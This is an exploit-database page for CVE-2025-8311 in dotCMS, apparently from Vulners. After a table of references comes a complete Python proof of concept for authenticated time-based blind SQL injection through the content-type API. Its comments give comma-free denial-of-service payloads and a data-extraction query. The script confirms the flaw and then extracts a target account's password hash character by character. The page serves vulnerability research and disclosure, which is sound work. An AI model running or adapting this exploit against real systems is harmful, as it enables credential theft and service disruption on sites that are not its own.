| Reporter | Title | Published | Views | Family All 13 |
|---|---|---|---|---|
| CVE-2025-8311 | 4 Sep 202515:19 | – | circl | |
| DotCMS SQL注入漏洞 | 4 Sep 202500:00 | – | cnnvd | |
| CVE-2025-8311 | 4 Sep 202514:12 | – | cve | |
| CVE-2025-8311 | 4 Sep 202514:12 | – | cvelist | |
| dotCMS 25.07.02-1 - Authenticated Blind SQL Injection | 16 Sep 202500:00 | – | exploitdb | |
| EUVD-2025-27276 | 3 Oct 202520:07 | – | euvd | |
| CVE-2025-8311 | 4 Sep 202515:15 | – | nvd | |
| 📄 dotCMS 25.07.02-1 SQL Injection | 9 Dec 202500:00 | – | packetstorm | |
| 📄 dotCMS 25.07.02-1 Security Scanner | 15 Dec 202500:00 | – | packetstorm | |
| PT-2025-35943 | 4 Sep 202500:00 | – | ptsecurity |
#!/usr/bin/env python3
# Exploit Title: dotCMS 25.07.02-1 - Authenticated Blind SQL Injection
# Google Dork: N/A
# Date: 2025-09-09
# Exploit Author: Matan Sandori (OSCP, OSEP, OSWE)
# Vendor Homepage:*https://www.dotcms.com/
# Software Link: https://github.com/dotCMS/core/releases/tag/v25.07.02-1 (tested on: v25.07.02-1)
# Version: Affects 24.03.22 and later (see vendor advisory for fixed versions)
# Tested on: dotCMS v25.07.02-1 (Docker / Linux)
# CVE: CVE-2025-8311
# The application blocks the comma character, so a simple DoS payload like:
# ') AND 1=(SELECT 1 FROM generate_series(1,500000) AS a CROSS JOIN generate_series(1,500000) AS b) AND ('FYHh' LIKE 'FYHh
# will not work.
# Instead, a comma-free payload can be used, for example:
# ') AND 1=(WITH RECURSIVE nums(i) AS (SELECT 1 UNION ALL SELECT i + 1 FROM nums WHERE i < 1000000) SELECT MIN(1) FROM nums AS a CROSS JOIN nums AS b) AND ('A' LIKE 'A
# Example query for time-based extraction of data:
# ') AND 1=(SELECT CASE WHEN (substring(emailaddress from 1 for 1)='a') THEN (SELECT 1 FROM pg_sleep(10) WHERE firstname='Admin') ELSE 1 END FROM user_ WHERE firstname='Admin') AND ('1' LIKE '1
# This PoC demonstrates time-based blind SQLi. Error-based SQLi is also possible and allows faster data extraction.
# Using sqlmap with the --no-cast flag is recommended, as it will not work otherwise.
import sys
import time
import string
import urllib3
import requests
### User configuration
HOST="127.0.0.1:8443";
TARGET_ACCOUNT = "[email protected]";
SLEEP_TIME=10;
TOKEN="eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJhcGk0ZjFhNGYyMi1lYzI5LTQ4OTUtYTBlYi1jYjRkYjEzOGQ2MDAiLCJ4bW9kIjoxNzUxOTQzOTEwMDAwLCJuYmYiOjE3NTE5NDM5MTAsImlzcyI6ImRvdGNtc19kZXYiLCJsYWJlbCI6InRva2VuIiwiZXhwIjoxODQ2NjQxNjAxLCJpYXQiOjE3NTE5NDM5MTAsImp0aSI6IjMyNjIxYmRkLTNhYjEtNGRiMi1iNjEyLWMzMDg5M2EyODBiZSJ9.jqXkfM4Itxy_q2kA10srcL_3NBBx6keXx2PM0mESPFI";
CHARS = string.printable;
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning);
def encode_all_characters(string):
return "".join("%{0:0>2x}".format(ord(char)) for char in string);
def send_request(payload=""):
payload = encode_all_characters(payload);
burp0_url = f"https://{HOST}/api/v1/contenttype?filter=LCKwsF&page=774232&per_page=517532&orderby=wDdAmr&direction=DESC&type=DOTASSET&host=BBadoI&sites=PoC{payload}";
burp0_headers = {"Accept-Encoding": "gzip, deflate, br", "Accept": "*/*", "Accept-Language": "en-US;q=0.9,en;q=0.8", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36", "Connection": "close", "Cache-Control": "max-age=0", "Authorization": f"Bearer {TOKEN}"};
return requests.get(burp0_url, headers=burp0_headers, verify=False);
def send_sqli(q):
query = "') AND 1=(" + q + ") AND ('A' LIKE 'A";
return send_request(query);
def test_sqli():
print("[!] Checking target responsiveness...")
r = send_request();
if '{"entity":[],"errors":[],"i18nMessagesMap":{},"messages":[],"pagination":{"currentPage":' not in r.text:
print("[-] Target did NOT return the expected JSON structure. Exiting.");
sys.exit(1);
print("[+] Target responded correctly.\n");
r = send_sqli(f"SELECT 1 FROM PG_SLEEP({SLEEP_TIME})");
if (not r.elapsed.total_seconds() >= SLEEP_TIME):
print("[-] Target did not pause as expected; Exiting.");
sys.exit(1);
def retrieve_password(TEMPLATE, CHARS):
CHARS = ":" + CHARS.replace(":", '');
output = "";
index = 1;
while True:
for character in CHARS:
query = str(TEMPLATE).replace("[_INDEX_PLACEHOLDER_]", str(index)).replace("[_ASCII_PLACEHOLDER_]", str(ord(character)));
r = send_sqli(query);
if (r.elapsed.total_seconds() >= SLEEP_TIME):
print(f"[+] Found character: {character}");
index += 1;
output += character;
break;
else:
break;
return output;
test_sqli();
print("[+] Target is Vulnerable to SQL Injection.\n");
TEMPLATE = f"SELECT (CASE WHEN (substring(password_ from [_INDEX_PLACEHOLDER_] for 1)=chr([_ASCII_PLACEHOLDER_])) THEN (SELECT 1 FROM pg_sleep({SLEEP_TIME / 2}) WHERE emailaddress = '{TARGET_ACCOUNT}') ELSE 1 END) from user_ where emailaddress = '{TARGET_ACCOUNT}'";
password = retrieve_password(TEMPLATE, CHARS);
print(f"[+] Retrieved hash/password for {TARGET_ACCOUNT}: {password}");Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation